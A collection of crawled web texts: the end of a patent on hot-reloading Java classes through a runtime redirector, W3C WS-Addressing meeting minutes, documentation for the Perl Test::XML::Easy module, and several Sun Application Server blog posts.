TABLE-US-00005 public abstract class C0 { public static int method1(C c, int x) { int tmp1 = RedirectorRuntime.getFieldValue(c, "C", "y", "I"); return x + tmp1; } public static void method2(C c, String s) { PrintStream tmp1 = RedirectorRuntime.getFieldValue( null, "java/lang/System", "out", "Ljava/io/PrintStream;"); Object[ ] o = new Object[1]; o[0] = s; RedirectorRuntime.invokeVirtual( tmp1, o, "java/io/PrintStream;", "println", "(Ljava/lang/String;)V"); } }
[0095]This example case is left without any special handling or optimization for simplicity.
[0096]Now the original class C may be updated e.g. by an application developer or a code generation program of an application development environment, e.g. as shown in the following code example:
TABLE-US-00006 public class C { int y = 5; int z( ) { return 10; } int method1(int x) { return x + y + z( ); } ... }
[0097]The original class has now one new method ("z( )") and the "method1( )" of the class has been altered. These changes should now be implemented in the runtime environment without re-starting the environment or re-loading a number of unchanged classes. To achieve this goal, a new version of the behavior class is generated after the update of the original class. The new version of the behavior class is then loaded into the runtime system's memory, the runtime redirector service is notified about the new version of the behavior class and all further calls to the methods of the modified class are to be redirected to the new version of the behavior class.
TABLE-US-00007 public class C1 { public static int z(C c) { return 10; } public static int method1(C c, int x) { int tmp1 = RedirectorRuntime.getFieldValue(c, "C", "y", "I"); int tmp2 = RedirectorRuntime.invokeVirtual(c, null, "C", "z", "(V)I"); return x + tmp1 + tmp2; } ... }
[0098]Because the state class was not updated, it is not necessary to reload it into the memory. Thus, the state of the existing instances is preserved even though the implementation of the class has been altered.
[0099]In some embodiments, fields may be added to the original class. To handle these added fields, a synthetic field, e.g. of name _RUNTIME_FIELDS_and of type Map, is added to every generated state class. This will allow holding the values for added fields in the _RUNTIME_FIELDS_values with concatenated field name and type descriptors serving as keys. This will also handle the case when the field type changes, but name doesn't as the key will change. The getFieldValue( )/setFieldValue( ) methods of the runtime redirector (201 in FIG. 2) need to be implemented so that they search for field values in the _RUNTIME_FIELDS_map first. An example state class may then look e.g. like the following:
TABLE-US-00008 public class C extends X { private Map _RUNTIME_FIELDS-- = new HashMap( ); int y = 5; //Rest of the class... }
[0100]Java® environment allows implementation of "synchronized" methods. In one embodiment of the invention, such methods are replaced by non-synchronized methods that have a "synchronized" block over the proxy instance in the versioned class method. Since proxy methods, i.e. methods of the state class that just forward the method call to the runtime redirector, do not access any global values they are safe to be unsynchronized. Assuming that method1( ) of a class C was declared synchronized the resulting behavior class will in one embodiment look like this (state class will stay the same):
TABLE-US-00009 public abstract class C0 { public static int method1(C c, int x) { synchronized (c) { int tmp1 = RedirectorRuntime.getFieldValue(c, "C", "y", "I"); return x + tmp1; } } //Rest of the class... }
[0101]To access methods of unversioned superclasses, accessor methods are generated in some embodiments with prefix _RUNTIME_SUPER_for all unversioned super methods that are overridden in the proxy. The runtime redirector's invokeSuper method should call the topmost such method if a super call to unversioned class is to be made. An example about a state class may then look e.g. like the following:
TABLE-US-00010 public class C extends X { int y = 5; int method1(int x) { Object[ ] o = new Object[1]; o[0] = x; return RedirectorRuntime.invokeVirtual(this, o, "C", "method1", "(I)I"); } int _RUNTIME_SUPER_method1(int x) { return super.method1(x); } //Rest of the class... }
[0102]In the above example, it is assumed that class X is unversioned and also has a method int method1(int).
[0103]In some embodiments, it is also possible to generate a _RUNTIME_SUPER_method for each directly or indirectly inherited method in the topmost unversioned class only. This will increase this class size, but can make invokeSuper method work simpler.
[0104]Because of limitations imposed by Java runtime environment, constructors need to be treated differently from other virtual methods, although semantically constructors are just a virtual method of a particular name and type. In some embodiments, the transformer (103 in FIG. 1) generates a _RUNTIME_INIT_static method with same type except for the state class added as first argument instead of each constructor in the original class. In addition, the transformer generates a constructor with a slightly different signature for each constructor in the original class superclass. A RuntimeVersioned marker interface ("interface" should here be interpreted as an interface of a Java® programming language) is added as the last type. The purpose of this constructor is to be called when a super constructor call (i.e. call of a constructor method of a Java® superclass) is required (constructors being subject to the same limitations as usual methods). These constructors will just call the super ones. In one embodiment, a state class and its constructor may look e.g. like the following:
TABLE-US-00011 public class C extends X { int y = 5; public C( ) { Object[ ] o = new Object[1]; o[0] = c; //Not valid in Java, but possible in bytecode Return RedirectorRuntime.invokeStatic( null, o, "C", "_RUNTIME_INIT_", "(C)C"); } public C(RuntimeVersioned o) { super( ); } //Rest of the class... }
[0105]In the above example, original class C must necessarily have a default constructor with no arguments that just calls super( ).
[0106]The behavior class in this embodiment may look e.g. like the following:
TABLE-US-00012 public abstract class C0 { public static C _RUNTIME_INIT_(C c) { //Not valid in Java, but possible in bytecode c.<init>((RuntimeVersioned) null); } //Rest of the class... }
[0107]There is little needed to handle calls to interfaces in the class conversion and runtime redirector process. The behavior classes are not generated for interfaces and the state classes correspond almost one-to-one with the original. Since all versioned calls are done using reflection, the INVOKE_INTERFACE primitive may always be treated same as a usual virtual call. The use of reflection allows weak type checking in method calls instead of strong types in e.g. a Java® environment. Or in other words, use of reflection allows dynamic method calls instead of static calls.
[0108]When calling a public static method in an embodiment of the invention, it is known during class loading whether the loaded class is managed by the runtime redirector (201 in FIG. 2) or not. Thus the calls to the unmanaged classes are left as is, and only calls to managed versioned classes are redirected using the runtime redirector. Same solution applies also to the public static fields.
[0109]When calling a static method with any visibility from inside the same class, the versioned class method can be called directly in an embodiment of the invention.
[0110]When calling a private virtual method from inside the same class, the versioned class method can be called directly in an embodiment of the invention.
[0111]When calling a public virtual method, two alternatives are possible according to an embodiment. If the class is not managed and its virtual method is final or the class is final, the virtual method can be called directly. However, if the class is not versioned, code may be generated to test whether the instance of class implements the RuntimeVersioned marker interface (for details, see description of FIG. 1). In such a case, the call needs to be redirected through the runtime redirector. Otherwise the call may be made directly.
[0112]There are some issues related to inheritance (class hierarchy) that are useful to be addressed. In one embodiment an issue regarding overriding of an unmanaged class C (i.e. class whose method calls are not managed by the runtime redirector) method m by a managed subclass C' method m is solved. If the call is made through the runtime redirector it will resolve the method m correctly to class C'. However if the call comes from an unmanaged class, runtime redirector may not be involved, and the wrong method C.m would be called.
[0113]This issue can be solved for example by making calls to managed classes go through the runtime redirector, including ones made to the methods implemented by superclasses (i.e. classes from which other classes are inherited). This is done by generating a proxy method (with same modifiers and signature) for each of the overridden methods, thus making sure the runtime redirector is involved in resolving the method to call.
[0114]The above embodiment is an extension of the proxy method generation taught in another embodiment. The extension makes the proxy method generation more intrusive, since the inherited methods will now show up in Class.getDeclaredMethods( ) reflection calls. This might cause some problems with code that does not expect that (e.g. Java bean handling code). However this problem can be solved by overriding reflection as taught in this disclosure and then ignoring the extra generated methods.
[0115]The embodiments taught herein may be further optimized for runtime use. The runtime redirector provides methods similar to the JVM instructions. However JVM instructions use the constant pool to reuse string constants, referring to them by integer indexes. The same approach can be applied in the runtime redirector, redefining the runtime methods to accept integer indexes instead of class names and method names (including type descriptor). The runtime redirector could have for example the following interface after constant pool introduction:
TABLE-US-00013 Object getFieldValue(Object obj, long classname, long fieldnameWithDescriptor) void setFieldValue(Object obj, Object value, long classname, long fieldnameWithDescriptor) Object invokeVirtual(Object target, Object[ ] parameters, long classname, long methodnameWithDescriptor) Object invokeStatic( Object[ ] parameters, long classname, long methodnameWithDescriptor) Object invokeSuper(Object target, Object[ ] parameters, long fromClassname, long toClassname, long methodnamewithDescriptor)
[0116]The main advantage of building a constant pool is that then the same indexes can be used to create a dictionary of classes and methods using array structures. Such structures are efficient to access compared to hash tables and similar structures. This may increase runtime performance of the crucial runtime redirector methods.
[0117]However the above approach means that a dictionary of all classes needs to be made accessible to the runtime redirector. This may result as a noticeable memory overhead. Considering that Java® ClassLoader hierarchy allows several versions of same class in unrelated ClassLoaders, a choice needs to be made between having a full dictionary per ClassLoader or having a complex system of dependencies between constant pools.
[0118]The embodiments of the invention allow altering classes in a flexible manner and deploying the altered classes in an already running runtime environment in a quick and resource efficient manner. Thus, the various embodiments of the invention disclosed herein allow e.g. significant performance improvements e.g. in application development environments where both application programming and testing work may be performed.
[0119]To a person skilled in the art, the foregoing exemplary embodiments illustrate the model presented in this application whereby it is possible to design different methods and arrangements, which in obvious ways to the expert, utilize the inventive idea presented in this application.
[0120]While the present invention has been described in accordance with preferred compositions and embodiments, it is to be understood that certain substitutions and alterations may be made thereto without departing from the spirit and scope of the following claims.
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Agenda
See also: IRC log
<bob> meeting: WS-Addressing Teleconference
<bob> chair: Bob Freund
<scribe> Scribe: anish
Agenda
<scribe> Agenda:
Minutes approved.
<scribe> Chair: bob
Paul Knight to respond to commenter: Paul not on the call
Tony Rogers to post a new editors’ draft – Done
Anish: what is the status of embedded policies in EPRs
Bob: they decided not the engage on that
Tom: epr has a metadata section and no one has addressed how to embed policy assertion
Philippe: do we have more information to give them?
Bob: don't know how they decided on not dealing with this issue
<plh>
Philippe: looks like that issue in ws-policy wg is reopened
<TRutt_>
Philippe: we might want to
express interest in this issue to ensure that we are inthe
loop
... any recommendation that we would like to give them?
paco: my view is that we can't take over every metadata
plh: now that we are doing a metadata document but we could certainly do this
paco: not in favor of doing this
tom: why don't we ask them to do this
bob: somebody has to do this or it is going to show up in ws-i
plh: some people argue that it is the job of the metadata exchange
anish: little different from metadata exchange
paco: but it is part of metadata
anish: seems like the syntax is within our purview
paco: policy in a EPR opens a lot
of questions
... some assertions are message specific
... more of a policy thing rather than ws-addr thing
bob: agree with paco
tom: not our job to do that
anish: do we need to point out that we thing it is their job
bob: we can just say that we are
interested in the outcome of issue 4129
... is that a reasonable approach?
... any other point that we would like to provide feedback on?
... we'll provide that feedback
Tony: changes raised more questions than expected
<scribe> ... new version is up as an editors draft
UNKNOWN_SPEAKER: big changes:
delection of section 3.2 and added new section 3.2. New section
is David's text.
... with the modification of s/AddresingRequired/Addressing/
<bob> ACTION: bob to sent a LC review response to WS-Policy wrt bugzilla 4129 [recorded in]
UNKNOWN_SPEAKER: 1st note is
about policy attachment option
... using prefix wsaw, should this be called something else like wsam
plh: i though we decided to use /metadata instead of /wsdl for the namespace, including for UsingAddressing
<gpilz> +1
Tony: the old UsingAddressing is
a policy assertion as well. The new one is a policy assertion
only
... new NS prefix will be 'wsam'
... most of 3.2 is a list of example
... will need minor revision to change the prefix
... David, would you tell if there are any errors?
David: will read it and let you know
<bob> ACTION: david will review sec 3.2 examples in a day or two [recorded in]
<bob> ACTION: bob to sent a LC review response to WS-Policy wrt bugzilla 4129 [recorded in]
<discussion of editorial issues between plh and tony. details not captured>
<plh>
<Zakim> plh, you wanted to follow up on empty nested policy
plh: on the issue of empty nested policy, i don't think it is required to have the empty nested policy for the intersection to work
David: the policy framework section 4.3.2 has a Note. That note makes me think that it needs an empty wsp:Policy element
bob: would you like to provide that as an input to the ws-poilcy WG as an LC comment
Marc: i agree with David. I got some quick confirmation from some folks. I believe that it is right.
Bob: I would suggest going to the policy wg if the describe is not clear
plh: i believe david is right
Bob: the note to ws-policy wg is not required then
<plh> [[/> ]]
<plh> from
Tony: the next Q is related to
the bibliography. I have put in ws-policy framework and primer
as normative.
... the docs are working draft
anish: does primer need to be normative rather than informative?
tony: don't have a problem with
that
... if the other 2 docs (framework and attachments) are normative, is that a problem?
plh: we can't be a rec until policy is PR
marc: but we are going back to LC so they are ahead
bob: but now we need their implementation to advance
Katy: we need to specify the wsp prefix in the table
tony: good point. will add that.
Marc: we still need to note the subject-level of the assertion
plh: my email covers that
bob: are folks in agreement with that?
no disagreement
<plh>
plh: one thing to note is that in my note i recommend staying silent.
tony: makes sense
<plh> s/one thing to note is that in my note i recommend staying silent./one thing to note is that i recommend staying silent for other attachment points./.
Tony: on action, i changed the reference. reference to explicit association and reference to rules for the default.
<bob> tony's first mail:
<plh> "The inclusion of wsaw:Action without inclusion of wsaw:UsingAddressing has no normative intent and is only informational."
tony: we probably need UsingAddressing or the presence of addressing policy assertion
plh: worried about saying
'presence'
... can be optional
tony: will have to think about this.
anish: we could talk in terms of policy alternative
<scribe> ACTION: tony to propose words to resolve this [recorded in]
<bob> ACTION: Tony to tinker up some words which will confuse everyone [recorded in]
<scribe> ACTION: 3 to [recorded in]
ACTION 3-
ACTION 3=
ACTION 5=
<plh> ACTION 3=Tony to tinker up section 4.4.1 to include the policy assertions as well
<bob>
Tony: the next email that i sent
concerns CR33
... i went ahead and did (a) but not (b). Did include (c), and (d)
... one Q is 'we are still using UsingAddressing?'
bob: that is another issue
Tony: next email is about CR38.
which we have already dealt with.
... then there are DavidHull's point
plh: they are editorial, we can do this on the ML
bob: there was some sympathy
about shortening, breaking up of sentences.
... we'll continue the editorial discussion on the ML
... noticed that there is no change to the issues list
tony: there have been changes.
bob: did not see any changes
tony: the remaining CR issue on
ed issues: 34 (moot now), 33 (we just resolved), 32 (is about
'none' uri -- still not done), 38 (we settled today)
... so the only remaining is 36.
... is that an erratum
bob: no, as an edition
... as a PER then then a 2nd edition
tony: will finish the metadata doc by friday
katy: minor thing -- in the
conformance section do we need something about conformance to
the assertion
... section 6
tony: will do that using my editorial powers
anish: if we have changed the NS, then we don't need this
tony: if people want to indicate addressing in wsdl then they won't have anything any more
katy: the disadvantage of having this would be that we would have to specify how it interacts with the assertion
tony: agree that it should be cut
bob: anyone in favor of retaining it?
noone favors it
no objections to removing it.
decision: UsingAddressing will be removed
<bob> resolution: usingaddressing shall be cut
Announcement of new public working draft 2007-01-16
LC start 2007-01-30
LC end 2007-02-20
LC issue resolution estimate – 4 weeks ~ 2007-02-26
CR start <Policy dependency?> ~2007-02-27
CR end start plus four weeks ~2007-03-20
<bob> Proposed:
<bob> Announcement of new public working draft 2007-01-16
<bob> LC start 2007-01-30
<bob> LC end 2007-02-20
<bob> LC issue resolution estimate – 4 weeks ~ 2007-02-26
CR Issue resolution estimate – 2 weeks
PR start 2006-03-27
<bob> CR start <Policy dependency?> ~2007-02-27
<bob> CR end start plus four weeks ~2007-03-20
<bob> CR Issue resolution estimate – 2 weeks
<bob> PR start 2006-03-27
bob: do we need to announce what
we have as a new WD
... prior to the begining of the LC period
... I was suggesting that we make a public draft available as early as next week
... i would like to get the completed document and review it and hopefully can be within a small delta of the public draft
plh: the LC announcement can be at the same time as the public WD
<plh> [[ After republication as a Working Draft, the next forward step available to the Working Group is a Last Call announcement. The Last Call announcement MAY occur at the same time as the publication of the Working Draft. ]]
bob: start of LC end of this
month
... and minimum LC is 3 weeks
... it is a SHOULD
plh: i would suggest asking all the WG if they would be able to review them in the time frame given
bob: will start spreading the word
plh: send email to wsdl and policy wg regd this
bob: will do that
plh: can skip the TAG
tony: CG meeting would also be a good place to bring this up
bob: assuming 3 week minimum and
assuming that we'll get some comments: 4 weeks of comment
resolution.
... CR start time may be policy dependent
... guessing around 27th feb
... may impact their spec as we have changed our assertion
David: only their primer would be affected
bob: testing resources needed
during end of feb - end of march
... what we have now is going to be easier to test
tom: do we need a f2f
bob: may be good to schedule
one
... david, do u think a 4 week schedule is appropriate?
david: we do have a lot of the design/test, but dependents on how long policy implementation takes
bob: this puts PR at march 27 (with some assumptions)
plh: that is optimistic
... policy wg is starting their CR in march and ending in july
bob: so this could be delayed
because of policy implementations
... any other business?
none
Meeting adjourned. Next meeting, next week
<bob> thanka | http://www.w3.org/2002/ws/addr/7/01/08-ws-addressing-minutes.html | CC-MAIN-2015-27 | en | refinedweb |
Test::XML::Easy - test XML with XML::Easy
use Test::More tests => 2; use Test::XML::Easy; is_xml $some_xml, <<'ENDOFXML', "a test"; <?xml version="1.0" encoding="latin-1"> <foo> <bar/> <baz buzz="bizz">fuzz</baz> </foo> ENDOFXML is_xml $some_xml, <<'ENDOFXML', { ignore_whitespace => 1, description => "my test" }; <foo> <bar/> <baz buzz="bizz">fuzz</baz> </foo> ENDOFXML isnt_xml $some_xml, $some_xml_it_must_not_be; is_well_formed_xml $some_xml;
A simple testing tool, with only pure Perl dependancies, that checks if two XML documents are "the same". In particular this module will check if the documents schemantically equal as defined by the XML 1.0 specification (i.e. that the two documents would construct the same DOM model when parsed, so things like character sets and if you've used two tags or a self closing tags aren't important.)
This modules is a strict superset of Test::XML's interface, meaning if you were using that module to check if two identical documents were the same then this module should function as a drop in replacement. Be warned, however, that this module by default is a lot stricter about how the XML documents are allowed to differ.
This module, by default, exports a number of functions into your namespace.
Tests that the passed XML is "the same" as the expected XML.
XML can be passed into this function in one of two ways; Either you can provide a string (which the function will parse for you) or you can pass in XML::Easy::Element objects that you've constructed yourself somehow.
This funtion takes several options as the third argument. These can be passed in as a hashref:
The name of the test that will be used in constructing the
ok /
not ok test output.
Ignore many whitespace differences in text nodes. Currently this has the same effect as turning on
ignore_surrounding_whitespace and
ignore_different_whitespace.
Ignore differences in leading and trailing whitespace between elements. This means that
<p>foo bar baz</p>
Is considered the same as
<p> foo bar baz </p>
And even
<p> this is my cat:<img src="" /> </p>
Is considered the same as:
<p> this is my cat: <img src="" /> </p>
Even though, to a web-browser, that extra space is significant whitespace and the two documents would be renderd differently.
However, as comments are completely ignored (we treat them as if they were never even in the document) the following:
<p>foo<!-- a comment -->bar</p>
would be considered different to
<p> foo <!-- a comment --> bar </p>
As it's the same as comparing the string
"foobar"
And:
"foo bar"
The same is true for processing instructions and DTD declarations.
The same as
ignore_surrounding_whitespace but only ignore the whitespace immediately after an element start or end tag not immedately before.
The same as
ignore_surrounding_whitespace but only ignore the whitespace immediately before an element start or end tag not immedately after.
<p> foo bar baz </p>
Is the same as
<p> foo bar baz </p>
But not the same as
<p> foobarbaz </p>
This setting has no effect on attribute comparisons.
If true, print obsessive amounts of debug info out while checking things "<foo/>", "<foo></foo>";
as those are schematically the same XML documents.
However, it's worth noting that the first argument doesn't even have to be valid XML for the test to pass. Both these pass as they're not schemantically identical to the not expected XML:
isnt_xml undef, $not_expecteded_xml; isnt_xml "<foo>", $not_expected_xml;
as invalid XML is not ever schemanitcally identical to a valid XML document.
If you want to insist what you pass in is valid XML, but just not the same as the other xml document you pass in then you can use two tests:
is_well_formed_xml $xml; isnt_xml $xml, $not_expected_xml;
This function accepts the
verbose option (just as
is_xml does) but turning it on doesn't actually output anything extra - there's not useful this function can output that would help you diagnose the failure case.
Passes if and only if the string passed contains well formed XML.
Passes if and only if the string passed does not contain well formed XML.
If you do not pass it an XML::Easy::Element object then these functions will happly parse XML from the characters contained in whatever scalars you passed in. They will not (and cannot) correctly parse data from a scalar that contains binary data (e.g. that you've sucked in from a raw file handle) as they would have no idea what characters those octlets would represent
As long as your XML document contains legal characters from the ASCII range (i.e. chr(1) to chr(127)) this distintion will not matter to you.
However, if you use characters above codepoint 127 then you will probably need to convert any bytes you have read in into characters. This is usually done by using
Encode::decode, or by using a PerlIO layer on the filehandle as you read the data in.
If you don't know what any of this means I suggest you read the Encode::encode manpage very carefully. Tom Insam's slides at may or may not help you understand this more (they at the very least contain a cheatsheet for conversion.)
The author highly recommends those of you using latin-1 characters from a utf-8 source to use Test::utf8 to check the string for common mistakes before handing it
is_xml.
Mark Fowler,
<mark@twoshortplanks.com>
This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself.
There's a few cavets when using this module:
Infact, we don't process (or compare) DTDs at all. These nodes are completely ignored (it's as if you didn't include them in the string at all.)
We totally ignore comments and processing instructions, and it's as if you didn't include them in the string at all either.
We only support the five "core" named entities (i.e.
&,
<,
>,
' and
") and numerical character references (in decimal or hex form.) It is not possible to declare further named entities and the precence of undeclared named entities will either cause an exception to be thrown (in the case of the expected string) or the test to fail (in the case of the string you are testing)
Currently this is only an XML 1.0 parser, and not XML Namespaces aware (further options may be added to later version of this module to enable namespace support)
This means the following document:
<foo:fred xmlns:
Is considered to be different to
<bar:fred xmlns:
This module considers "whitespace" to be what the XML specification considers to be whitespace. This is subtily different to what Perl considers to be whitespace.
Unlike Test::XML this module considers the order of sibling nodes to be significant, and you cannot tell it to ignore the differring order of nodes when comparing the expected and actual output.
Please see for details of how to submit bugs, access the source control for this project, and contact the author.
Test::More (for instructions on how to test), XML::Easy (for info on the underlying xml parser) and Test::XML (for a similar module that tests using XML::SchemanticDiff) | http://search.cpan.org/~markf/Test-XML-Easy/lib/Test/XML/Easy.pm | CC-MAIN-2015-27 | en | refinedweb |
This is the mail archive of the libstdc++@gcc.gnu.org mailing list for the libstdc++ project.
On Sun, Jun 29, 2003 at 11:31:58PM +0200, Gabriel Dos Reis wrote: > | ! return __unique_copy(__first, __last, __result, __binary_pred, _IterType()); > > This should also be qualified -- even though the identifier is in the > implementor namespace. I don't agree that this is necessary. No conforming user program is affected by such a qualification. Certainly the patch should not be held back waiting for such qualifications. > | ! std::swap(*__first++, *__first2++); > > This swap needs not be qualified. > > swap has sort of become to have an operator-like status: It is > regarded as a fundamental operator. In the EWG, we're exploring the > notion of "regular types", and swap is considered one of the > fundamental operations on those type. We need to have them work > through ADL. I don't agree. The standard swap() is in std::, and that's the one we want to call. Herb Sutter would argue otherwise, but he also argues otherwise about every other algorithm that users are encouraged to specialize. Users are certainly allowed to declare a global swap, but if they expect it to be used by standard algorithms, they need to go the extra distance and overload the standard one. Nathan Myers ncm-nospam@cantrip.org | http://gcc.gnu.org/ml/libstdc++/2003-06/msg00395.html | crawl-001 | en | refinedweb |
This is the mail archive of the libstdc++@sources.redhat.com mailing list for the libstdc++ project.
> Really? I thought this was one of those odd things in the standard > where you could put an extern "C" function in a namespace, and it > semantically was there, but if you actually had two such functions you > got undefined behavior. 7.5p6 says #. So multiple *declarations* of an extern "C" function in different namespaces are fine; they all declare the same function. The note following this text says that two *definitions* of such a function are a violation of the ODR. 3.2p1 says that violations of the ODR in a single translation unit must be diagnosed; 3.2p3 says that violations of the ODR across translation units need not to be diagnosed - i.e. you'd get undefined behaviour. Regards, Martin | http://gcc.gnu.org/ml/libstdc++/2000-09/msg00117.html | crawl-001 | en | refinedweb |
This is the mail archive of the libstdc++@sources.redhat.com mailing list for the libstdc++ project.. I'm not sure about the official position, but I think libstdc++ should work w/o GNU as, also. If removing the offending asm directives works for you perhaps there is a gcc macro available so we could #if defined(__GNU_AS__) ".subsection 1\n" #endif later. brent | http://gcc.gnu.org/ml/libstdc++/2000-12/msg00274.html | crawl-001 | en | refinedweb |
? Well, * In the first case, we need to #undef the macro and introduce a declaration in namespace std; * In the second case, we also #undef the macro and introduce a declaration. But here, we need to be careful and introduce a function name with an external "C" linkage -- see below. |. You are right. | Maybe we should just #undef the macro, in this case, which would also | get us rid of the optimization provided by the preprocessor macro? If the target provides *both* forms then it is OK to #undef the macro and introduce a function declaration with "C" linkage in namespace std. | What I don't understand is why it is so important that the inline | function in the std namespace be extern "C". To introduce a plateform independent behaviour -- this is actually more than a quality of implementation issue. Consider the following example. Consider a target which provides only the macro version (I'm not sure that is valid, but let's make that assumption for the sake of exposition). If we didn't mark the corresponding function with a C linkage then the following will be OK #include <xxx> // this happens to include <cstdlib> // but user Jack doesn't know // This is silly but happens from time to time namespace MyNamespace { // Jack's "improved" version of mblen inline int mblen(const char* p, size_t l) // WRONG { /* ... */ } } Jack will use MyNamespace::mblen() in his code and that will "works" on his target until his code is moved to a target which provides both forms of mblen(). Then user Jack will send us a bug report saying his code used to work on target foo. We could then reply "that was not guaranteed to work, as it is unspecified whether mblen() has C linkgage or not". That abstract answer will be abstractly right but will be of no much practical help for user Jack. Since we have the ability to catch that error earlier, I don't see why we should not do it in the first place. And, removing that "unspecified status" from our implementation introduces one more deterministic bit into the library behaviour. I don't see any compeling reason not to do it. Am I still mistunderstanding your situation? -- Gaby CodeSourcery, LLC | http://gcc.gnu.org/ml/libstdc++/2000-12/msg00296.html | crawl-001 | en | refinedweb |
Standing in the Field
Notes from SJS Application Server Field Engineering
Roughly four years ago, Scott McNealy addressed a group of iPlanet employees, including myself. This was in the middle of the dot com boom, and there were still a lot of questions about what direction the internet was going to take. At the end of his speech, Scott commented that there were a lot of companies trying to make the web proprietary and trying to lock customers into proprietary solutions. He said that Sun was in a battle to keep the network open and to develop solutions that favored customers and not vendors. The last part I remember exactly. He said, "isn't it nice to be working for the company wearing the white hat."*
That has always been important to me. It has been nice to be working for the company in the white hat. Sun has had its ups and down since then and so has its stock price. I've been re-org'd more times than I care to count. But Sun has never wavered from its commitment to openness, to its customers, and to operating with integrity.
There are lots of companies out there that claim to be open. But most of them are just interested in how they can make money from the open source contributions of others. A lot of companies "talk the talk, but don't walk the walk" when it comes to contributing to the commons. Executive management at Sun may not have always been effective at "talking the talk", but Sun has always "walked the walk" about open source and open platforms.
However, the time has come for me to leave Sun.
After working with Java since version 1.1 and J2EE from the very beginning, it's time for me to move up the software stack. I've accepted a position with Fuego, a leader in the exciting market of BPM software (business process management). I see in Fuego the same commitment to customers, to innovation, and to openness. And I believe that BPM software will be the key to making Service Oriented Architecture (SOA) a reality. BPM is the glue that will make everything (people/processes/systems/services) work together.
Anyway, thanks to all of those of you who have read my blog or had me come to your company. You can now find me blogging at BPM Blog. ( RSS feed ) My first couple of posts will be about why I've made this move and why I think that people who are interested in J2EE should be learning about BPM. (I promise I'll be better at keep the blog updated. I have a lot of plane rides ahead of me: lots of time to be writing blog posts. :-) )
Thanks again for reading and I hope to see you at BPM Blog. (If you have trouble connecting today, the DNS may not have propogated to you yet. Try again tomorrow.)
David
*For those non-US readers not familiar with the expression "white hat", old western movies stereotypically had the good characters wearing white cowboy hats and the villains wearing black hats.(2005-05-20 10:44:57.0) Permalink Comments [1]
So everyone is calling IBM's acquisition of Gluecode a move to create a "JBoss killer". Gluecode is a very small company that provides an integrated application server suite around the Apache Geronimo application server, some other related Apache projects, and some management and monitoring tools.
Since there have been rumors of IBM trying to create an open source implementation of J2SE, it's entirely reasonable that IBM would want an open source application server to go with their J2SE implementation. All in all, I find the acquisition interesting, but not earth shattering. Geronimo and the other Apache projects have existed for some time now and I don't think that IBM's acquisition of Gluecode really changes the industry that much.
But Marc Fleury, Founder/Chairman/CEO of JBoss, is his usual acerbic self. (Fleury was the one who called the Apache Foundation “a bunch of fat ladies drinking tea” and who got caught "astroturfing" TheServerSide.)
Like Rich, I can't follow Marc's argument about why this acquisition is bad for Sun. Sun would love to see an open source implementation of J2EE that is more than grudgingly J2EE certified. (When Marc spoke at my JUG he complained at length about what a waste of time the J2EE certification is.) And with a couple million downloads of Sun Application Server, I'm not sure that Sun has to worry about Gluecode suddenly becoming a volume play that takes Sun out of the picture. All things considered, IBM has been a good friend to Java and I can't see IBM making an investment in open source as any kind of threat to the integrity of the Java Community Process.(2005-05-13 20:21:10.0) Permalink Comments [1]
Sun has a very colorful past when it comes to open letters. We write them. We receive them. The press has a field day talking about them.
So, given the fact that "Standing in the Field" gets a reasonable amount of traffic from the publicity of blogs.sun.com, I'd like to continue this Sun tradition of open letters.
To: Jane Ogren
janeogren.com
Dear Mom:
I wanted to take advantage of this public space to tell you how much I love you and I how proud I am to be your son.
I am proud of the values you have instilled in me. I am even more proud that you were able to instill those values so subtly while still allowing me to pick my own paths and make my own mistakes. Growing up I always thought I took after Dad. But as an adult I see how much of you there is in me.
I am proud of your art. I am proud of all of your work: as a mom, as a teacher, as an artist, as a volunteer, and as a citizen.
Thank you for continuing to teach me things as an adult. Thanks for listening to me. Thank you for being an example I can be proud of. Thank you for always being there for me.
In the end, the results speak for themselves. Your children love you and we've both managed to be happy and well adjusted. Our family has a deep bond. We may live further away that you like, but we always feel you near.
Happy Mother's Day. You are the best Mom ever.
Love,(2005-05-08 07:58:52.0) Permalink
David
Lots of people are familiar with the Sun Java System Application Server Platform Edition as the J2EE server they downloaded as part of the J2EE SDK. But I bet a lot of those people don't realize that you can use that application server in production for free.
Sun has now published some impressive SPEC benchmarks for SJS Application Server Platform Edition. I can't wait to see the price/performance numbers for this configuration. With a free application server and the price/performance of the V20Z Opteron servers it's going to be very impressive.
Thanks to Rich for both the original link and for all of the work he and his product team have done to make this possible.(2005-04-28 21:33:50.0) Permalink
News.com had an article recently about how many PC users do a bad job of wiping their hard drive before selling, donating, or trashing their PC. Obviously this is a bad thing considering the sensitive information the average person keeps on their PC.
I understand why this is difficult for the average PC user. Wiping a hard drive is a tedious process for a PC. Properly wiping a hard drive is very easy on a Mac, however. If you are planning on selling or giving away your Mac, here are some easy steps,/p>
Things you will need:
Steps to permanently erase the hard drive of an old Mac.
Nothing really too much different than a PC, but the built-in secure disk overwrite and firewire target mode makes it much more convenient on a Mac.(2005-04-22 10:10:34.0) Permalink
Severalpeople have blogged this new java.net project that is a DTrace agent for Java. Since I've talked about DTrace and Java previously I figured that I should throw in my two cents. (Especially since I've been less than diligent in posting recently.) This project is very interesting and I'm hoping that it will be available as part of the standard JDK in the future. Most interestly, it has several probes that are going to allow DTrace to instrument method calls and GC events.
But it's important for me to note that you can already use DTrace to probe Java applications. Most notably jstack() does a reasonably good job of translating stacks into Java method names. Don't assume that you need this module to use DTrace effectively on a Java application. The new module does allow you to be more proactive and has some very useful trace points for doing active troubleshooting, but don't discount the out of the box DTrace functionality.
Also, the downside of this module is that it has to be actively installed into the JVM. Which takes away one of the advantages of DTrace: the fact that it is pre-integrated into the OS.
It is great to see this module. And it's especially great to see this as a java.net project with CDDL licensed source code. But it's probably best to just see this as a technology preview for what we will see as far as DTrace integration in Mustang.(2005-04-20 11:18:57.0) Permalink
One of my projects this month is to review the Sun Java System Application Server Performance Tuning Guide. This is part of a combined effort between the field and the product team to review the complete documentation set.
It's interesting work. I've always found this document helpful but sitting down and reviewing it page by page has been a much different experience. There are a lot of places I'd make it more concise or differently organized.
So, take a look at the Perf Guide with me. I'll include any comments and feedback with my own review for the documentation team.(2005-04-05 21:31:38.0) Permalink Comments [1]
Tim Bray (the co-worker I developed my Jython instructions for) tells me that he needs to run his installation headless. Which I didn't document last time. So here is an addendum to my previous instructions if you don't have X11 access to your box.
When executing the SJSAS installer (j2eesdk-1401_2005Q1-solaris-i586.bin or similar), just add the argument of "-console". This runs the installer in text mode. Using the installer is generally self-explanatory but there some basic instructions displayed when the installer begins. Just type in the same options you would have selected in the graphical installer.
